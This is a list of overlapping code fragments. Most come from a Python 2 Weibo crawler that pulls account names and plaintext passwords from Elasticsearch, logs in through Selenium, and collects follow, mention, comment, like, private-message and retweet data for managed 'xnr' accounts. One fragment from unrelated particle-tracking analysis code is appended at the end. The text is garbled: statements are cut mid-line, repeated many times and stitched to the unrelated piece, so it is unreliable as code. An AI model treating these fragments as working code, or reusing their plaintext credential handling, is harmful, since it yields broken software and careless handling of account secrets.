"= int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day, hour, minute, second def all_weibo_xnr_crawler(self): query_body",
"\\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make",
"upasswd) print xnr.login() print 'uname::', uname uid = xnr.uid current_ts = int(time.time()) timestamp_retweet,",
"day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second",
"time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\"",
"minute = int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day, hour,",
"10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result in search_results:",
"import webdriver from SinaLauncher import SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox()",
"int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\"",
"2}}, 'size': 10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result",
"return year, month, day, hour, minute, second def all_weibo_xnr_crawler(self): query_body = { 'query':",
"mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd = result['password'] if mail_account: account_name =",
"print 'Except Abort' # try: print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans,",
"'size': 10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result in",
"= int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute =",
"timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private,",
"= int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet,",
"print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute() print 'run",
"Abort' # try: print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups,",
"'run weibo_feedback_follow.py done!' # except: # print 'Except Abort' # try: print 'start",
"groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts,",
"print 'run weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans, follow,",
"timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive,",
"int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day, hour, minute, second def all_weibo_xnr_crawler(self): query_body =",
"account_name: self.execute(account_name, pwd) def execute(self, uname, upasswd): xnr = SinaLauncher(uname, upasswd) print xnr.login()",
"done!' print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute() print",
"run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!'",
"print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!' print",
"= result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd = result['password'] if mail_account: account_name = mail_account",
"int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\"",
"weibo_feedback_follow.py ...' fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!' #",
"\")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2])",
"\\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print 'start run weibo_feedback_follow.py ...' fans, follow,",
"try: print 'start run weibo_feedback_follow.py ...' fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print",
"follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid,",
"# print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute() print",
"time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day =",
"= int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return year,",
"result['password'] if mail_account: account_name = mail_account elif phone_account: account_name = phone_account else: account_name",
"print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute() print 'run",
"...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print",
"%H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\"",
"= self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!' # except: # print 'Except Abort'",
"= webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year",
"def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\"",
"second = int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day, hour, minute, second def all_weibo_xnr_crawler(self):",
"...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!' print 'start",
"= result['password'] if mail_account: account_name = mail_account elif phone_account: account_name = phone_account else:",
"self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!' print 'start run",
"import SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp =",
"class WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time",
"present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1])",
"= False if account_name: self.execute(account_name, pwd) def execute(self, uname, upasswd): xnr = SinaLauncher(uname,",
"if account_name: self.execute(account_name, pwd) def execute(self, uname, upasswd): xnr = SinaLauncher(uname, upasswd) print",
"= time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month =",
"try: print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute() print",
"timestamp_private).execute() print 'run weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans,",
"'run weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private # print",
"follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py ...' #",
"import time from selenium import webdriver from SinaLauncher import SinaLauncher class WeiboCrawler(object): def",
"# except: # print 'Except Abort' # try: print 'start run weibo_feedback_at.py ...'",
"weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans, follow, groups, timestamp_retweet).execute()",
"es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result in search_results: result = result['_source'] mail_account",
"all_weibo_xnr_crawler(self): query_body = { 'query': {'term': {'create_status': 2}}, 'size': 10000 } search_results =",
"groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py ...' # print",
"SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time()))",
"# try: print 'start run weibo_feedback_follow.py ...' fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute()",
"weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!' print",
"# print 'Except Abort' # try: print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts,",
"\")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1])",
"weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make,",
"current_ts).execute() print 'run weibo_feedback_follow.py done!' # except: # print 'Except Abort' # try:",
"WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time =",
"query_body = { 'query': {'term': {'create_status': 2}}, 'size': 10000 } search_results = es.search(index=weibo_xnr_index_name,",
"print 'run weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow,",
"groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts,",
"result in search_results: result = result['_source'] mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd",
"xnr.login() print 'uname::', uname uid = xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at,",
"timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print 'start run weibo_feedback_follow.py ...' fans,",
"current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print 'start run",
"month = int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute",
"SinaLauncher(uname, upasswd) print xnr.login() print 'uname::', uname uid = xnr.uid current_ts = int(time.time())",
"timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print 'start run weibo_feedback_follow.py ...' fans, follow, groups",
"'start run weibo_feedback_follow.py ...' fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py",
"timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at,",
"print 'run weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private #",
"hour, minute, second def all_weibo_xnr_crawler(self): query_body = { 'query': {'term': {'create_status': 2}}, 'size':",
"'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans, follow, groups, timestamp_retweet).execute() print 'run weibo_feedback_retweet.py",
"\")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day, hour, minute, second def",
"from SinaLauncher import SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox() def get_present_time(self):",
"False if account_name: self.execute(account_name, pwd) def execute(self, uname, upasswd): xnr = SinaLauncher(uname, upasswd)",
"= time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day",
"uid = xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make",
"weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!'",
"self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp)",
"print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print 'start run",
"'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py",
"print 'uname::', uname uid = xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private,",
"timestamp_like).execute() print 'run weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private",
"uname uid = xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive,",
"current_ts, fans, follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py",
"'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py",
"else: account_name = False if account_name: self.execute(account_name, pwd) def execute(self, uname, upasswd): xnr",
"print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute() print 'run",
"current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print",
"result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd = result['password'] if mail_account: account_name = mail_account elif",
"pwd) def execute(self, uname, upasswd): xnr = SinaLauncher(uname, upasswd) print xnr.login() print 'uname::',",
"fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!' # except: #",
"done!' print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute()",
"self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!' print 'start run",
"= int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day, hour, minute,",
"def execute(self, uname, upasswd): xnr = SinaLauncher(uname, upasswd) print xnr.login() print 'uname::', uname",
"done!' print 'start run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid,",
"'start run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans,",
"...' # print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute()",
"...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!' print 'start",
"run weibo_feedback_follow.py ...' fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!'",
"phone_account else: account_name = False if account_name: self.execute(account_name, pwd) def execute(self, uname, upasswd):",
"execute(self, uname, upasswd): xnr = SinaLauncher(uname, upasswd) print xnr.login() print 'uname::', uname uid",
"timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print 'start run weibo_feedback_follow.py ...'",
"int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\"",
"= int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour =",
"result = result['_source'] mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd = result['password'] if",
"= self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print",
"int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day, hour, minute, second",
"account_name = phone_account else: account_name = False if account_name: self.execute(account_name, pwd) def execute(self,",
"print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print",
"'query': {'term': {'create_status': 2}}, 'size': 10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if",
"webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year =",
"= mail_account elif phone_account: account_name = phone_account else: account_name = False if account_name:",
"second def all_weibo_xnr_crawler(self): query_body = { 'query': {'term': {'create_status': 2}}, 'size': 10000 }",
"print 'run weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow,",
"SinaLauncher import SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp",
"present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2])",
"search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result in search_results: result =",
"'Except Abort' # try: print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow,",
"fans, follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py ...'",
"phone_account: account_name = phone_account else: account_name = False if account_name: self.execute(account_name, pwd) def",
"print 'start run weibo_feedback_follow.py ...' fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run",
"self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!' # except: # print 'Except Abort' #",
"def all_weibo_xnr_crawler(self): query_body = { 'query': {'term': {'create_status': 2}}, 'size': 10000 } search_results",
"self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!' print 'start run",
"weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts",
"follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid,",
"for result in search_results: result = result['_source'] mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account']",
"done!' print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans, follow, groups, timestamp_retweet).execute() print",
"weibo_feedback_follow.py done!' # except: # print 'Except Abort' # try: print 'start run",
"timestamp_comment_make # try: print 'start run weibo_feedback_follow.py ...' fans, follow, groups = self.FeedbackFollow(xnr.uid,",
"print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans, follow, groups, timestamp_retweet).execute() print 'run",
"'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py",
"'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run",
"= result['weibo_phone_account'] pwd = result['password'] if mail_account: account_name = mail_account elif phone_account: account_name",
"\")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0])",
"pwd = result['password'] if mail_account: account_name = mail_account elif phone_account: account_name = phone_account",
"weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute()",
"year, month, day, hour, minute, second def all_weibo_xnr_crawler(self): query_body = { 'query': {'term':",
"timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans,",
"selenium import webdriver from SinaLauncher import SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver =",
"= xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make =",
"account_name = mail_account elif phone_account: account_name = phone_account else: account_name = False if",
"elif phone_account: account_name = phone_account else: account_name = False if account_name: self.execute(account_name, pwd)",
"\")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return year, month, day,",
"present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0]) month",
"upasswd): xnr = SinaLauncher(uname, upasswd) print xnr.login() print 'uname::', uname uid = xnr.uid",
"result['weibo_phone_account'] pwd = result['password'] if mail_account: account_name = mail_account elif phone_account: account_name =",
"timestamp_comment_receive, timestamp_comment_make # try: print 'start run weibo_feedback_follow.py ...' fans, follow, groups =",
"timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try:",
"mail_account: account_name = mail_account elif phone_account: account_name = phone_account else: account_name = False",
"{'term': {'create_status': 2}}, 'size': 10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results:",
"= int(present_time.split(\" \")[0].split(\"-\")[2]) hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second =",
"= result['_source'] mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd = result['password'] if mail_account:",
"year = int(present_time.split(\" \")[0].split(\"-\")[0]) month = int(present_time.split(\" \")[0].split(\"-\")[1]) day = int(present_time.split(\" \")[0].split(\"-\")[2]) hour",
"self.execute(account_name, pwd) def execute(self, uname, upasswd): xnr = SinaLauncher(uname, upasswd) print xnr.login() print",
"result['_source'] mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd = result['password'] if mail_account: account_name",
"in search_results: result = result['_source'] mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd =",
"def __init__(self): self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d",
"search_results: for result in search_results: result = result['_source'] mail_account = result['weibo_mail_account'] phone_account =",
"\")[1].split(\":\")[2]) return year, month, day, hour, minute, second def all_weibo_xnr_crawler(self): query_body = {",
"self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print 'start",
"= { 'query': {'term': {'create_status': 2}}, 'size': 10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type,",
"search_results: result = result['_source'] mail_account = result['weibo_mail_account'] phone_account = result['weibo_phone_account'] pwd = result['password']",
"'run weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups,",
"'run weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans, follow, groups,",
"int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return year, month,",
"hour = int(present_time.split(\" \")[1].split(\":\")[0]) minute = int(present_time.split(\" \")[1].split(\":\")[1]) second = int(present_time.split(\" \")[1].split(\":\")[2]) return",
"minute, second def all_weibo_xnr_crawler(self): query_body = { 'query': {'term': {'create_status': 2}}, 'size': 10000",
"'run weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups,",
"except: # print 'Except Abort' # try: print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid,",
"mail_account elif phone_account: account_name = phone_account else: account_name = False if account_name: self.execute(account_name,",
"from selenium import webdriver from SinaLauncher import SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver",
"day, hour, minute, second def all_weibo_xnr_crawler(self): query_body = { 'query': {'term': {'create_status': 2}},",
"print xnr.login() print 'uname::', uname uid = xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like,",
"uname, upasswd): xnr = SinaLauncher(uname, upasswd) print xnr.login() print 'uname::', uname uid =",
"fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py",
"if search_results: for result in search_results: result = result['_source'] mail_account = result['weibo_mail_account'] phone_account",
"follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py ...'",
"doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result in search_results: result = result['_source'] mail_account =",
"'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!' print 'start",
"} search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result in search_results: result",
"xnr = SinaLauncher(uname, upasswd) print xnr.login() print 'uname::', uname uid = xnr.uid current_ts",
"self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print 'start",
"timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\",
"follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!' # except: # print",
"weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!' print"
] |
[
"# step 5. read test_coords dft = io.read_test_coords(path_test_coords) # step 6. drop unnecessary",
"1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0),",
"15, 30] ms = 3 # read dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx')",
"stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus)",
"'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- 2. SPCT # 2.1",
"= True kx, ky = 2, 2 # step 1. merge [['x', 'y']]",
"m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs +",
"(dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] < zlim)] #",
"beginning and ending tick mark on the fine adjustment knob during image acquisition).",
"label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim,",
"2, 2 # step 1. read calibration coords dfc, dfcpid, dfcpop, dfcstats =",
"index=False) elif use_spct_zf: \"\"\" NOTE: No correction is currently performed. The z-coords are",
"correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs",
